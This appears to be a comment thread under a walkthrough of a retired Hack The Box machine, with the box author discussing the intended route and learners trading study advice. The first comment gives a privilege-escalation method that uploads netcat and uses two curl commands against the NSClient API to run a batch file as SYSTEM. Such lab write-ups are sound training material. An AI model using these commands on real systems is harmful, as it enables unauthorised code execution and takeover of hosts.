The method to get system on this box was intended to be done through the api. Upload nc to the box first and then create a bat file with the command to execute nc, then--- curl -s -k -u admin -X PUT localhost:8443/api/v1/scripts/ext/scripts/file.bat --data-binary @file.bat curl -k -i -u admin localhost:8443/api/v1/queries/file/commands/execute All done without needing the nsclient password.

I highly doubt that was the intended route. If so, the box would have been rated Medium by HTB Staff due to the documentation around that API being so bad.

Hey. Its my box. I'm dmw0ng. There were multiple methods, but the intended was to use the api. I thought it would be easy knowing restarting the nscp service would kill it for everyone. I thought it would be a lesson to all not to just find an exploit and blindly follow.

@@ippsec I submitted the doc with the method similar to what you described. However, after discussions with staff, it seemed it was not feasible, I then provided additional docs to highlight the preferred method. This box was a carbon copy of what I discovered somewhere during a pentest, I was the only person on the box, and therefore did not have the issues that you get when multiple people are on it. Thats why I submitted original documentation as I did. A shame, because it was as real life as I could get it because of the find. Unfortunately, a badly rated box, but, HTB always produce incredible boxes, so this one will soon be forgot. 🤭. Good job with your patience.

Every video is one step towards giving up for me. As a learner I have to stop and take a step back. However, I do think that there is a point to ask for suggestions. So, here is my question: How to learn? With HTB, it is hard to pop a box even now. Has the learning process changed or something? I'm clueless...

It's not about being the best, it's about learning. There is so much to learn about computer sciences and hacking. If you get tired of HTB, search other interesting subjects like reversing or cryptography, they may interest you more because they look new. Also, try other pages. HTB gets boring sometimes. I recomend you cryptohack.org . Don't put too much pressure on you, do it for the thrill of learning what surrounds you.

With every box you go over you have more knowledge. More knowledge = more chance to do stuff individually. Before running learn to walk kind of thing. I started this in March from literally zero (0) Linux, Networking knowledge with the goal to get my OSCP. On every retired box I go over I take extensive notes and make sure I understand the point of why something is done. It's a very effective studying technique which I can suggest you to follow. Don't be discouraged and expect too much of yourself from the start. Just keep on grinding and it will come in time just as everything in life does.
